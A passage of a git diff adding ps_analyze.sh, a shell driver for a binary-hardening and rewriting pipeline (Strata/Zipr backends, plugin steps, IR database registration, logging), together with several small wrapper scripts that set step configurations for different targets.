+	echo "   --tempdir <dir>			Specify where the temporary analysis files are stored, default is peasoup_executable_directory.<exe>.<pid>"
+	echo "   --backend <zipr|strata>		Specify the backend rewriting technology to use.  Default: Strata"
+	echo "   -b <zipr|strata>			same as --backend "
+	echo "   --stop-after <step>			Stop ps_analyze after completeling the specified step."
+	echo "   --stop-before <step>			Stop ps_analyze before starting the specified step."
+	echo "   --dump-after <step>			Dump IR after completeling the specified step."
+	echo "   --dump-before <step>			Dump IR before starting the specified step."
+
+}
+
+
+
+#
+# check that the remaining options are validly parsable, and record what they are.
+#
+check_options()
+{
+
+	#
+	# turn on initial default set of phases
+	#
+
+	local default_annot_generator=meds_static
+	local initial_on_phases="stratafy_with_pc_confine create_binary_script is_so gather_libraries pdb_register fill_in_cfg fill_in_indtargs clone fix_calls generate_spri spasm fast_annot fast_spri preLoaded_ILR1 preLoaded_ILR2"
+	for phase in $initial_on_phases
+	do
+		echo $phases_spec|egrep "$phase=" > /dev/null
+		if [ ! $? -eq 0 ];
+		then
+			phases_spec="$phases_spec $phase=on"
+		fi
+	done
+
+	# 
+	# loop to process options.
+	# 
+
+	# Note that we use `"$@"' to let each command-line parameter expand to a 
+	# separate word. The quotes around `$@' are essential!
+	# We need TEMP as the `eval set --' would nuke the return value of getopt.
+	short_opts="s:c:t:w:b:o:h"
+	long_opts="--long step-option: 
+		   --long step: 
+		   --long critical-step: 
+		   --long timeout: 
+		   --long id:  				
+		   --long name:	  			
+		   --long manual_test_script: 
+		   --long manual_test_coverage_file: 
+		   --long watchdog: 
+		   --long backend:  			
+		   --long tempdir:  			
+		   --long help
+		   --long usage
+		   --long stop-after:
+		   --long stop-before:
+		   --long dump-after:
+		   --long dump-before:
+		"
+
+	# solaris does not support long option names
+	if [ `uname -s` = "SunOS" ]; then
+		TEMP=`getopt $short_opts "$@"`
+	else
+		TEMP=`getopt -o $short_opts $long_opts -n 'ps_analyze.sh' -- "$@"`
+	fi
+
+
+	# error check #
+	if [ $? != 0 ] ; then echo "Terminating..." >&2 ; exit -1 ; fi
+
+	# Note the quotes around `$TEMP': they are essential!
+	eval set -- "$TEMP"
+
+	while true ; do
+		case "$1" in
+			--tempdir)
+				tempdir_opt="$2"
+				if [ -e "$tempdir_opt"  ]; then
+					echo "$tempdir_opt already exists, cannot continue."
+					exit 1
+				fi
+            			shift 2
+				;;
+			-b|--backend)
+				if [ "X$2" = "Xzipr" ]; then
+					echo "Using Zipr backend."
+					export backend="zipr"
+					phases_spec=" $phases_spec gather_libraries=off clone=off stratafy_with_pc_confine=off generate_spri=off spasm=off fast_annot=off preLoaded_ILR1=off  preLoaded_ILR2=off fast_spri=off create_binary_script=off is_so=off"
+					phases_spec=${phases_spec/preLoaded_ILR1=on/}
+					phases_spec=${phases_spec/preLoaded_ILR2=on/}
+					post_phases_spec="$post_phases_spec zipr=on"
+					step_options_gather_libraries="$step_options_gather_libraries --main_exe_only"
+				elif [ "X$2" = "Xstrata" ]; then
+					echo "Using Strata backend."
+					export backend="strata"
+					#  strata is default, do nothing.
+				fi
+            			shift 2
+			;;
+			-o|--step-option)
+           			set_step_option "$2"
+            			shift 2
+            		;;
+            		# This is the watchdog value
+#        		-w|--watchdog)
+#            			watchdog_val=$2
+#            			shift 2
+#            		;;
+			-s|--step) 
+				check_step_option $2
+				shift 2 
+			;;
+			-c|--critical-step) 
+				check_step_option $2
+				step_name=$(echo "$2" | sed "s/=on *$//"|sed "s/=off *$//")
+				user_critical_steps="$user_critical_steps $step_name "
+				shift 2 
+			;;
+			--manual_test_script) 
+				manual_test_script=$2
+				shift 2 
+			;;
+			--manual_test_coverage_file) 
+				manual_test_coverage_file=$2
+				shift 2 
+			;;
+			-t|--timeout) 
+				set_timer $2 & TIMER_PID=$!
+				shift 2 
+			;;
+			--id) 
+				JOBID=$2
+				shift 2 
+			;;
+			--name) 
+				DB_PROGRAM_NAME=$2
+				shift 2 
+			;;
+			-h|--help|--usage)
+				usage
+				exit 1
+			;;
+			--stop-before)
+				stop_before_step=$2
+				shift 2
+			;;
+			--stop-after)
+				stop_after_step=$2
+				shift 2
+			;;
+			--dump-before)
+				dump_before_step=$2
+				shift 2
+			;;
+			--dump-after)
+				dump_after_step=$2
+				shift 2
+			;;
+			--) 	shift 
+				break 
+			;;
+			*) 	echo "Internal error!" 
+		 		exit -2 
+			;;
+		esac
+	done
+
+	phases_spec="$phases_spec $post_phases_spec "
+
+	#
+	# Check/parse input/output file
+	#
+	if [ -z $2 ]; then
+	  fail_gracefully "Usage: $0 <original_binary> <new_binary> <options>"
+	fi
+
+	#
+	# record the original program's name
+	#
+	orig_exe=$1
+	shift
+
+	#
+	# sanity check incoming arg.
+	#
+	if [ ! -f $orig_exe ]; then
+		fail_gracefully "ps_analyze cannot find file named $orig_exe."
+	fi
+
+
+	is_step_on rida
+	local rida_on=$?
+	is_step_on meds_static
+	local meds_static_on=$?
+	# if both are on, that's an error
+	if [[ $rida_on -eq 1 ]] && [[ $meds_static_on -eq 1 ]]; then
+		echo "Cannot enable both rida and meds_static"
+		exit -4
+	# if neither are on, use default
+	elif [[ $rida_on -eq 0 ]] && [[ $meds_static_on -eq 0 ]]; then
+		phases_spec=" $phases_spec ${default_annot_generator}=on "
+	fi
+	# else, exactly 1 must be on, and that needs no special handling.
+
+	# double check that we didn't turn both off.
+	is_step_on rida
+	rida_on=$?
+	is_step_on meds_static
+	meds_static_on=$?
+	if [[ $rida_on -eq 0 ]] && [[ $meds_static_on -eq 0 ]]; then
+		echo "Cannot explicitly disable both rida and meds_static (or disable meds_static without enabling rida)"
+		exit -4
+	fi
+		
+	
+
+
+	# record a job id
+	JOBID="$(basename $orig_exe).$$"
+
+	#
+	# record the new program's name
+	#
+	export protected_exe=$1
+	shift
+
+	# report errors if found
+	if [ ! -z $1 ]; then
+		echo Unparsed parameters:
+	fi
+	for arg do echo '--> '"\`$arg'" ; done
+	if [ ! -z $1 ]; then
+		exit -3;	
+	fi
+
+	#
+	# turn on/off recording of statistics
+	#
+	is_step_on stats
+	if [[ $? = 1 ]]; then
+		record_stats=1
+	fi
+}
+
+
+#
+# subroutine to determine if a particular phase of ps_analyze is on.
+#
+is_step_on()
+{
+	local step=$1
+
+	# check for phases explicitly turned off
+	echo "$phases_spec"|egrep " $step=off" > /dev/null
+	grep_res=$?
+	if [ $grep_res -eq 0 ] ; then
+		return 0
+	fi
+
+	# determine whether phase is on
+	echo "$phases_spec"|egrep " $step=on" > /dev/null
+	grep_res=$?
+	if [ $grep_res -eq 0 ] ; then
+		return 1
+	fi
+
+	# all steps are off unless explicitly set to on
+	return 0
+}
+
+#
+# is_step_error decide based on the step (in $1) and the exit code (in $2) if there was a failure.
+#
+is_step_error()
+{
+	my_error=$1
+	my_step=$2
+
+	case $my_step in
+		*)
+			if [[ $my_error -eq 0 ]]; then
+				# if not otherwise specified, programs should return 0
+				return 0;
+			fi
+			return 1;
+	esac
+}
+
+#
+# return the severity of the error for the step in $1
+#
+stop_if_error()
+{
+	my_step=$1
+
+	# check for a step the user specified as critical.
+	echo "$user_critical_steps"|egrep " $my_step " > /dev/null
+	grep_res=$?
+	if [ $grep_res -eq 0 ] ; then
+		return 4;
+	fi
+
+	case $my_step in
+		# getting the annotation file right is necessary-ish
+		meds_static|rida)
+			return 1;
+		;;
+		# DB operations are necessary 
+		pdb_register|clone|fix_calls|fill_in_cfg|fill_in_indtargs|spasm|fast_spri|generate_spri|spasm|stratafy_with_pc_confine)
+			return 2;
+		;;
+		gather_libraries)
+			return 3;
+		;;
+		# other steps are optional
+		*)
+			return 0;
+	esac
+}
+
+#
+# Check dependencies
+#
+check_dependencies()
+{
+	# format is:  step1,step2,step3
+	local dependency_list=$1
+
+	# extract each step, make sure step is turned on
+	local steps=$(echo $dependency_list | tr "," "\n")
+	for s in $steps
+	do
+		if [[ "$s" != "none" && "$s" != "mandatory" ]]; then
+			is_step_on $s
+			if [ $? -eq 0 ]; then
+				return 0
+			fi
+		fi
+	done
+
+	return 1
+}
+
+check_steps_completed()
+{
+	#echo "Checking steps: $phases_spec"
+	for step_spec in $phases_spec
+	do
+		# if step is on.
+		sn=$step_sepc
+		sn=$(basename $sn =on)
+		sn=$(basename $sn =off)
+		is_step_on $sn
+		if [ $? = 1 ]; then
+			if [ ! -f logs/$sn.log ] ; then
+				echo "*********************************************************"
+				echo "*********************************************************"
+				echo "  Warning! Step requested, but not performed: $step_name "
+				echo "  (Could not find ${step_name}.exe nor lib${step_name}.so"
+				echo "  in search path: $SECURITY_TRANSFORMS_HOME/plugins_install/)"
+				echo "*********************************************************"
+				echo "*********************************************************"
+				warnings=1
+			fi
+			
+		fi
+		
+	done
+}
+
+#
+# Detect if this step of the computation is on, and execute it.
+#
+perform_step()
+{
+	step=$1
+	shift
+	mandatory=$1
+	shift
+	command="$*"
+
+	performed_steps="$performed_steps $step"
+
+	echo "$command"|grep "thanos.exe " > /dev/null
+        grep_res=$?
+        using_thanos=!$grep_res
+
+	if [[ $using_thanos -eq 0 ]]; then
+		logfile=logs/$step.log
+	else
+		logfile=logs/thanos.log
+	fi
+
+	if [ "$step" = "$stop_before_step" ]; then 
+		echo "ps_analyze has been asked to stop before step $step."
+		echo "command is:  LD_LIBRARY_PATH=$SECURITY_TRANSFORMS_HOME/lib gdb --args $command"	
+		exit 1
+	fi
+	if [ "$step" = "$dump_before_step" ]; then 
+		echo " ---- ps_analyze has been asked to dump before step $step."	
+		$SECURITY_TRANSFORMS_HOME/plugins_install/dump_map.exe $cloneid > logs/dump_before.log
+	fi
+
+	is_step_on $step
+	if [ $? -eq 0 ]; then 
+		#echo Skipping step $step. [dependencies=$mandatory]
+		return 0
+	fi
+
+	starttime=`$PS_DATE`
+
+	# optionally record stats
+	if [ $record_stats -eq 1 ]; then
+		$PEASOUP_HOME/tools/db/job_status_report.sh "$JOBID" "$step" "$stepnum" started "$starttime" inprogress
+	fi
+
+	if [[ "$mandatory" != "none" && "$mandatory" != "mandatory" ]]; then
+		check_dependencies $mandatory
+		if [ $? -eq 0 ]; then 
+			echo Skipping step $step because of failed dependencies. [dependencies=$mandatory] "*************************************************"
+			errors=1
+			if [ $record_stats -eq 1 ]; then
+				$PEASOUP_HOME/tools/db/job_status_report.sh "$JOBID" "$step" "$stepnum" completed "$starttime" error
+			fi
+			return 0
+		fi
+	fi
+
+	starttime=`$PS_DATE`
+
+		
+	# If verbose is on, tee to a file 
+	if [[ ! -z "$DEBUG_STEPS" ]]; then
+		echo -n Performing step "$step" [dependencies=$mandatory] ...
+		eval $command 
+		command_exit=$?
+	elif [[ ! -z "$VERBOSE" && $using_thanos -eq 0 ]]; then
+		echo -n Performing step "$step" [dependencies=$mandatory] ...
+		eval $command 2>&1 | tee $logfile
+		command_exit=${PIPESTATUS[0]} # this funkiness gets the exit code of $command, not tee
+	elif [[ ! -z "$VERBOSE" && $using_thanos -ne 0 ]]; then
+		echo -n Performing step "$step" [dependencies=$mandatory] ...
+		eval $command > $logfile 2>&1
+		command_exit=$?
+		# display logs to stdout
+		for this_step in $step
+		do
+			cat logs/$this_step.log
+		done
+		cat $logfile
+	elif [[ $using_thanos -ne 0 ]]; then
+		eval $command
+		command_exit=$?
+	else
+		echo -n Performing step "$step" [dependencies=$mandatory] ...
+		eval $command > $logfile 2>&1 
+		command_exit=$?
+	fi
+	
+	endtime=`$PS_DATE`
+	
+	echo "#ATTRIBUTE start_time=$starttime" >> $logfile
+	echo "#ATTRIBUTE end_time=$endtime" >> $logfile
+	echo "#ATTRIBUTE step_name=$step" >> $logfile
+	echo "#ATTRIBUTE step_number=$stepnum" >> $logfile
+	echo "#ATTRIBUTE step_command=$command " >> $logfile
+	echo "#ATTRIBUTE step_exitcode=$command_exit" >> $logfile
+
+	# report job status
+	if [[ $command_exit -eq 0 ]]; then
+		if [[ $record_stats -eq 1 ]]; then
+			$PEASOUP_HOME/tools/db/job_status_report.sh "$JOBID" "$step" "$stepnum" completed "$endtime" success $logfile
+		fi
+	else
+		if [[ $record_stats -eq 1 ]]; then
+			$PEASOUP_HOME/tools/db/job_status_report.sh "$JOBID" "$step" "$stepnum" completed "$endtime" error $logfile
+		fi
+	fi
+
+	is_step_error $command_exit $step
+	if [[ $? -ne 0 ]]; then
+		if [[ $using_thanos -eq 0 || $command_exit -ne 1 ]]; then
+			echo "Done.  Command failed! ***************************************"
+		fi
+
+		# check if we need to exit
+		stop_if_error $step
+		if [[ $using_thanos -ne 0 ]]; then
+			if [[ $command_exit -ne 1 ]]; then
+	                       	echo "A critical step executed under the thanos plugin driver has been forcefully terminated. Exiting ps_analyze early."
+			fi
+                        exit -1;
+		elif [ $? -gt $error_threshold ]; then 
+			echo "The $step step is necessary, but failed.  Exiting ps_analyze early."
+			exit -1;
+		fi
+		errors=1
+	elif [ -f warning.txt ]; then
+		# report warning to user.
+		warnings=1
+		echo "Done.  Command had serious warnings! ***************************************"
+		cat warning.txt
+		# report warning in log file, line by line, as an attribute.
+		while IFS= read -r line; do
+			echo
+			echo "#ATTRIBUTE serious_warning_text=\"$line\""  >> $logfile
+		done < "warning.txt"
+		# remove warning.txt so we don't report these warnings again.
+		rm -f warning.txt
+	else
+		if [[ $using_thanos -eq 0 ]]; then
+			echo "Done.  Successful."
+		fi
+	fi
+
+	# move to the next step 
+	stepnum=`expr $stepnum + 1`
+
+	if [[ $using_thanos -ne 0 ]]; then
+		for this_step in $step
+        	do
+        		all_logs="$all_logs logs/$this_step.log"
+        	done
+	fi
+	all_logs="$all_logs $logfile"
+	
+	if [ "$step" = "$stop_after_step" ]; then 
+		echo "ps_analyze has been asked to stop after step $step."
+		echo "command is:  LD_LIBRARY_PATH=$SECURITY_TRANSFORMS_HOME/lib gdb --args $command"
+		exit 1
+	fi
+	if [ "$step" = "$dump_after_step" ]; then 
+		echo " ---- ps_analyze has been asked to dump after step $step."
+		$SECURITY_TRANSFORMS_HOME/plugins_install/dump_map.exe $cloneid > logs/dump_after.log
+	fi
+	return $command_exit
+}
+
+run_current_thanos_steps()
+{
+	# echo "Doing thanos steps: $thanos_plugins"
+	# execute last block of thanos plugins if there are any left	
+	if [[ $thanos_plugins ]]; then
+		perform_step "$thanos_steps" none "$plugin_path/thanos.exe "$thanos_plugins""
+                thanos_plugins=""
+                thanos_steps=""		
+	fi
+}
+
+
+do_plugins()
+{
+
+	builtin_steps="
+		gather_libraries
+		meds_static
+		rida
+		pdb_register
+		clone
+		manual_test
+		generate_spri
+		preLoaded_ILR1
+		preLoaded_ILR2
+		spasm
+		fast_annot
+		fast_spri
+	"
+	for i in $phases_spec
+	do
+		stepname=$i
+		stepname=$(basename $stepname =on)
+		stepname=$(basename $stepname =off)
+			
+		echo $builtin_steps | grep $stepname  > /dev/null 2> /dev/null 
+	
+		if [ $? = 0 ]; then
+			# skip builtin steps so we don't get errors.
+			continue
+		fi
+		is_step_on $stepname
+		if [ $? = 0 ]; then
+			# if step isn't on, don't do it.
+			continue
+		fi
+
+		# get step options
+		this_step_options_name=step_options_$stepname
+		value="${!this_step_options_name}"
+
+		plugin_path=$SECURITY_TRANSFORMS_HOME/plugins_install/
+
+
+		# first check if step can be invoked as a thanos plugin
+                if [ -x $plugin_path/lib$stepname.so ]; then
+
+			# if this step is a stop before/after step, cleanup anything outstanding so we can do the one step special.
+			if [[ $stepname == $stop_before_step ]] || [[ $stepname == $stop_after_step ]] ||
+			   [[ $stepname == $dump_before_step ]] || [[ $stepname == $dump_after_step ]]; then
+				run_current_thanos_steps
+			fi
+
+			# add step to the block of contiguous thanos plugins
+			stop_if_error $stepname			
+			if [[ $? -gt $error_threshold ]]; then
+                        	thanos_plugins="$thanos_plugins \"$stepname --step-args $cloneid $value\""
+			else
+				thanos_plugins="$thanos_plugins \"$stepname -optional --step-args $cloneid $value\""	
+			fi
+			thanos_steps="$thanos_steps $stepname"
+
+			# if this step is a stop before/after step, do it special, so we exit early.
+			if [[ $stepname == $stop_before_step ]] || [[ $stepname == $stop_after_step ]]; then
+				# just run the step now.
+				perform_step $stepname none "$plugin_path/thanos.exe --no-redirect "$thanos_plugins""
+				thanos_steps=""
+				thanos_plugins=""
+			elif   [[ $stepname == $dump_before_step ]] || [[ $stepname == $dump_after_step ]]; then
+				# just run the step now.
+				perform_step $stepname none "$plugin_path/thanos.exe "$thanos_plugins""
+				thanos_steps=""
+				thanos_plugins=""
+			fi
+			continue
+		elif [[ $thanos_steps ]]; then 
+			# execute preceding block of thanos plugin steps now
+			run_current_thanos_steps
+		fi
+		
+		# invoke .exe, or .sh as a plugin step
+		if [ -x $plugin_path/$stepname.exe ]; then
+			perform_step $stepname none $plugin_path/$stepname.exe  $cloneid  $value
+		elif [ -x $plugin_path/$stepname.sh ]; then
+			perform_step $stepname none $plugin_path/$stepname.sh $cloneid  $value
+		else
+			echo "*********************************************************"
+			echo "*********************************************************"
+			echo "  Warning! Step requested, but not performed: $stepname "
+			echo "  (Could not find ${stepname}.exe nor lib${stepname}.so "
+			echo "  in search path: $SECURITY_TRANSFORMS_HOME/plugins_install/)"
+			echo "*********************************************************"
+			echo "*********************************************************"
+			warnings=1
+		fi
+	done
+
+	# execute last block of thanos plugins if there are any left	
+	run_current_thanos_steps
+
+}
+
+
+#
+# create a log for ps_analyze
+#
+report_logs()
+{
+	logfile=logs/ps_analyze.log
+
+	myhost=$(hostname)
+	echo "#ATTRIBUTE start_time=$ps_starttime" >> $logfile
+	echo "#ATTRIBUTE end_time=$ps_endtime" >> $logfile
+	echo "#ATTRIBUTE hostname=$myhost" >> $logfile
+	echo "#ATTRIBUTE step_name=all_helix" >> $logfile
+
+}
+
+
+
+#
+# check if the list of environment variables passed are all defined.
+#
+check_environ_vars()
+{
+
+	while [ true ]; 
+	do
+
+		# done?
+		if [ -z $1 ]; then
+			return;
+		fi
+
+        	# create the $ENVNAME string in varg
+        	varg="\$$1"
+
+        	# find out the environment variable's setting
+        	eval val=$varg
+
+		if [ -z $val ]; then echo Please set $1; exit 1; fi
+
+		shift 
+	done
+
+}
+
+#
+# Check that the filenames passed are valid.
+#
+check_files()
+{
+
+	while [ true ]; 
+	do
+
+		# done?
+		if [ -z $1 ]; then
+			return;
+		fi
+
+		if [ ! -f $1 ]; then 
+			fail_gracefully "PEASOUP ERROR:  $1  not found.  Is there an environment var set incorrectly?"
+		fi
+
+		shift 
+	done
+
+}
+
+check_for_bad_funcs()
+{
+	my_name=$1
+	bad_funcs="" # previously "iconv_open"
+#	bad_funcs=""
+
+	for ducs_i in $bad_funcs
+	do
+		nm $my_name 2>&1 |grep $ducs_i  > /dev/null 2> /dev/null 
+	
+		if [ $? = 0 ]; then
+			echo "Found bad function ($ducs_i) in executable, we should skip this test."
+			echo SKIP
+			echo Skip
+			echo skip
+			exit 255
+		fi
+	done
+}
+
+compatcheck()
+{
+	infile=$1
+
+	if [ ! -f $infile ]; then
+		echo File not found: $infile
+		usage
+		exit 2
+	fi
+
+	file $1 |egrep  "ELF.*executable" > /dev/null 2>&1 
+	if [ $? = 0 ]; then
+		echo Detected ELF file.
+		return
+	fi
+	file $1 |egrep  "ELF.*shared object" > /dev/null 2>&1 
+	if [ $? = 0 ]; then
+		echo Detected ELF shared object.
+		return
+	fi
+	file $1 |egrep  "CGC.*executable" > /dev/null 2>&1 
+	if [ $? = 0 ]; then
+		echo Detected CGCEF file.
+		return
+	fi
+
+
+	echo ------------------------
+	echo "Input file ($infile) failed compatability check.  Cannot protect this file:"
+	file $infile
+	echo ------------------------
+	usage
+	exit 2
+
+}
+
+
+do_prefix_steps()
+{
+	#
+	# copy the .so files for this exe into a working directory.
+	#
+	perform_step gather_libraries mandatory $PEASOUP_HOME/tools/do_gatherlibs.sh $step_options_gather_libraries
+
+	#
+	# Running IDA Pro static analysis phase ...
+	#
+	perform_step meds_static mandatory $PEASOUP_HOME/tools/do_idapro.sh $name $step_options_meds_static
+	perform_step rida mandatory $SECURITY_TRANSFORMS_HOME/plugins_install/rida.exe ./a.ncexe ./a.ncexe.annot ./a.ncexe.infoannot ./a.ncexe.STARSxrefs $step_options_rida
+	touch a.ncexe.annot
+	cp a.ncexe.annot a.ncexe.annot.full
+
+	##
+	## Populate IR Database
+	##
+
+	#
+	# get some simple info for the program
+	#	
+	if [ -z $DB_PROGRAM_NAME ]; then
+		DB_PROGRAM_NAME=`basename $protected_exe | sed "s/[^a-zA-Z0-9]/_/g"`
+	fi
+	#MD5HASH=`$PS_MD5SUM $newname.ncexe | cut -f1 -d' '`
+
+	INSTALLER=`pwd`
+
+	#
+	# register the program
+	#
+	perform_step pdb_register mandatory "$PEASOUP_HOME/tools/db/pdb_register.sh $DB_PROGRAM_NAME `pwd`" registered.id
+	is_step_on pdb_register
+	if [ $? = 1 ]; then
+		varid=`cat registered.id`
+		if [ ! $varid -gt 0 ]; then
+			fail_gracefully "Failed to write Variant into database. Exiting early.  Is postgres running?  Can $PGUSER access the db?"
+		fi
+	fi
+
+	if [ $record_stats -eq 1 ]; then
+		$PEASOUP_HOME/tools/db/job_spec_register.sh "$JOBID" "$DB_PROGRAM_NAME" "$varid" 'submitted' "$ps_starttime"
+	fi
+
+
+	if [ $record_stats -eq 1 ]; then
+		$PEASOUP_HOME/tools/db/job_spec_update.sh "$JOBID" 'pending' "$ps_starttime"
+	fi
+}
+
+main() 
+{
+	init_globals
+
+
+
+	#
+	# Check for proper environment variables and files that are necessary to peasoupify a program.
+	#
+	check_environ_vars PEASOUP_HOME SECURITY_TRANSFORMS_HOME 
+
+	#
+	# finish argument parsing
+	#
+	check_options "$@"
+
+
+
+	#
+	# check for input file existance and file type
+	#
+	compatcheck $orig_exe
+
+	#
+	# new program
+	#
+	name=`basename $orig_exe`
+	newname=a
+
+	#
+	# create a new working directory.  default to something that allows parallelism unless asked by the user.
+	#
+	if [ "X$tempdir_opt" != "X" ]; then
+		newdir="$tempdir_opt"
+	else
+		newdir=peasoup_executable_directory.$JOBID
+	fi
+	export newdir
+
+	# create a working dir for all our files using the pid
+	mkdir $newdir
+
+	# store the original executable as a.ncexe
+	cp $orig_exe $newdir/$newname.ncexe
+
+	file $orig_exe|grep 32-bit >/dev/null 2>&1 
+	if [ $? = 0 ]; then 
+		if [ `uname -p` = 'x86_64' ]; then
+			STRATA_HOME=$STRATA_HOME32
+			STRATA=$STRATA32
+		fi
+		arch_bits=32
+	else
+		arch_bits=64
+	fi
+
+
+	if [ $backend = "strata" ]; then
+		check_environ_vars STRATA_HOME 
+		check_files $PEASOUP_HOME/tools/getsyms.sh $STRATA_HOME/tools/pc_confinement/stratafy_with_pc_confine.sh 
+	elif [ $backend = "zipr" ]; then
+		check_environ_vars ZIPR_INSTALL
+		check_files $ZIPR_INSTALL/bin/zipr.exe
+	else
+		echo "Unknown backend!"
+		exit 1
+	fi
+
+	#
+	# setup libstrata.so.  We'll setup two versions, one with symbols so we can debug, and a stripped, faster-loading version.
+	# by default, use the faster version.  copy in the .symbosl version for debugging
+	#
+	if [ -f $STRATA_HOME/lib/libstrata.so  -a $backend = "strata" ]; then
+		cp $STRATA_HOME/lib/libstrata.so $newdir/libstrata.so.symbols
+		cp $STRATA_HOME/lib/libstrata.so $newdir/libstrata.so.nosymbols
+		$PS_STRIP $newdir/libstrata.so.nosymbols
+		cp $newdir/libstrata.so.nosymbols $newdir/libstrata.so
+	fi
+
+
+	adjust_lib_path 
+
+
+
+	# make sure we overwrite out output file one way or another
+	rm -f $protected_exe
+
+	# and switch to that dir
+	cd $newdir
+
+	check_for_bad_funcs $newname.ncexe
+
+	# next, create a location for our log files
+	mkdir logs 	
+
+
+	do_prefix_steps
+	cloneid=$varid
+
+
+	do_plugins
+
+
+	#
+	# create a report for all of ps_analyze.
+	#
+	ps_endtime=`$PS_DATE` 
+	report_logs
+
+	# figure out the output file
+	is_step_on zipr
+	zipr_on=$?
+	if [ $zipr_on -eq 0 ]; then 
+		my_outfile=$newdir/a.sh
+	else
+		my_outfile=$newdir/c.out
+	fi
+
+	# go back to original directory
+	cd - > /dev/null 2>&1
+
+	# copy output file into requested location.
+	cp $my_outfile $protected_exe
+
+	cd $newdir
+
+	# gather stats into JSON format
+	#python $PEASOUP_HOME/tools/gather_stats.py logs/*.log > logs/stats.json
+
+	# make sure we only do this once there are no more updates to the peasoup_dir
+	#perform_step installer none $PEASOUP_HOME/tools/do_installer.sh $PWD $protected_exe
+
+	
+	cd - > /dev/null 2>&1
+
+
+	# we're done; cancel timer
+	if [ ! -z $TIMER_PID ]; then
+		kill -9 $TIMER_PID
+	fi
+
+	check_steps_completed
+
+	#
+	# return success if we created a script to invoke the pgm and zipr is off. 
+	#
+	if [ -f $protected_exe ]; then 
+		if [ $errors = 1 ]; then
+			echo
+			echo
+			echo "*******************************"
+			echo "* Warning: Some steps failed! *"
+			echo "*******************************"
+			if [ $record_stats -eq 1 ]; then
+				$PEASOUP_HOME/tools/db/job_spec_update.sh "$JOBID" 'partial' "$ps_endtime" 
+			fi
+			exit 2;
+		elif [ $warnings = 1 ]; then
+			echo
+			echo
+			echo "**********************************************"
+			echo "* Warning: Some steps had critical warnings! *"
+			echo "**********************************************"
+			if [ $record_stats -eq 1 ]; then
+				$PEASOUP_HOME/tools/db/job_spec_update.sh "$JOBID" 'partial' "$ps_endtime" 
+			fi
+			exit 1;
+		
+		else
+			if [ $record_stats -eq 1 ]; then
+				$PEASOUP_HOME/tools/db/job_spec_update.sh "$JOBID" 'success' "$ps_endtime" 
+			fi
+			exit 0;
+		fi
+
+	else
+			echo "**************************************"
+			echo "*Error: failed to create output file!*"
+			echo "*    Cannot protect this program.    *"
+			echo "**************************************"
+		if [ $record_stats -eq 1 ]; then
+			$PEASOUP_HOME/tools/db/job_spec_update.sh "$JOBID" 'error' "$ps_endtime"
+		fi
+		exit 255;
+	fi
+}
+
+main "$@"
diff --git a/peasoup_examples/tools/ps_analyze4.sh b/peasoup_examples/tools/ps_analyze4.sh
new file mode 100755
index 0000000000000000000000000000000000000000..bb139a2f326fa5f943fd80889c90ad1691356cdb
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze4.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+in=$1
+shift
+out=$1
+shift
+rest=$*
+
+variants=4
+
+for i in $(seq 0 $(expr $variants - 1)); do
+	$PEASOUP_HOME/tools/ps_analyze.sh $in $out.$i $rest
+done
+
+echo "#!/bin/bash" > $out
+chmod +x $out
+echo "var=\$RANDOM" >> $out
+echo "let \"var %= $variants\"" >> $out
+echo "exec `realpath $out`.\$var \"\$@\"" >> $out
+
+
+
diff --git a/peasoup_examples/tools/ps_analyze64.sh b/peasoup_examples/tools/ps_analyze64.sh
new file mode 100755
index 0000000000000000000000000000000000000000..4567a3e691cc5fa994ba35e443645d780a4f6f17
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze64.sh
@@ -0,0 +1,17 @@
+#!/bin/sh 
+
+$PEASOUP_HOME/tools/ps_analyze.sh $* 	\
+	--step concolic=off 		\
+
+#	--step integertransform=off 	\
+#	--step ibtc=off 		\
+#	--step sieve=off 		\
+#	--step partial_inlining=off 	\
+#	--step return_cache=off	 	\
+#	--step rekey=off	 	\
+#	--step p1transform=off 		\
+#	--step fast_annot=off 		\
+#	--step meds_static=off 		\
+#	--step signconv_func_monitor=off\
+#	--step watchdog=off 		\
+
diff --git a/peasoup_examples/tools/ps_analyze_c2e.sh b/peasoup_examples/tools/ps_analyze_c2e.sh
new file mode 100755
index 0000000000000000000000000000000000000000..73c34d1c5520c3afdf84af3eb4ff29129f590acc
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze_c2e.sh
@@ -0,0 +1,10 @@
+#!/bin/sh 
+
+in=$1
+out=$2
+
+$PEASOUP_HOME/tools/ps_analyze.sh $* 	   	\
+	--backend zipr	\
+	--step c2e=on \
+
+cgc2elf $2
diff --git a/peasoup_examples/tools/ps_analyze_cgc.sh b/peasoup_examples/tools/ps_analyze_cgc.sh
new file mode 100755
index 0000000000000000000000000000000000000000..34b8e757d1e054518d9ade44dce81c149acfdde1
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze_cgc.sh
@@ -0,0 +1,40 @@
+#!/bin/bash
+
+#
+# Default configuration for CFE:
+#
+
+$PEASOUP_HOME/tools/ps_analyze.sh "$@" 	\
+	--step spawner=off 		\
+	--step appfw=off 		\
+	--step find_strings=off 	\
+	--step preLoaded_ILR1=off	\
+	--step preLoaded_ILR2=off	\
+	--step sfuzz=off	\
+	--step cinderella=off	\
+	--step cgc_hlx=off	\
+	--step-option cgc_hlx:--do_allocate_padding=4096 \
+	--step-option cgc_hlx:--shr_malloc_factor=5 \
+	--step-option cgc_hlx:--do_malloc_padding=32 \
+	--step heaprand=off	\
+	--step double_free=off	\
+	--step controlled_exit=off	\
+	--step detect_server=off	\
+	--step watchdog=off	\
+	--step signconv_func_monitor=off	\
+	--step rekey=off	\
+	--step p1transform=off	\
+	--step-option p1transform:--min_stack_padding=64 \
+	--step-option p1transform:--max_stack_padding=64 \
+	--step-option p1transform:--recursive_min_stack_padding=32 \
+	--step-option p1transform:--recursive_max_stack_padding=32 \
+	--step-option p1transform:--canaries=off \
+	--step-option p1transform:--should_double_frame_size=false \
+	--step input_filtering=off	\
+	--step watch_allocate=off	\
+	--step integertransform=off	\
+	--step fast_spri=off	\
+	--step fast_annot=off	\
+	--step spasm=off	\
+	--step ilr=off	\
+	--backend zipr
diff --git a/peasoup_examples/tools/ps_analyze_cgc.zipronly.sh b/peasoup_examples/tools/ps_analyze_cgc.zipronly.sh
new file mode 100755
index 0000000000000000000000000000000000000000..31ef1d380e99015e6621bab06f1fb0b15fbff318
--- /dev/null
+++ b/peasoup_examples/tools/ps_analyze_cgc.zipronly.sh
@@ -0,0 +1,37 @@
+#!/bin/bash
+
+#
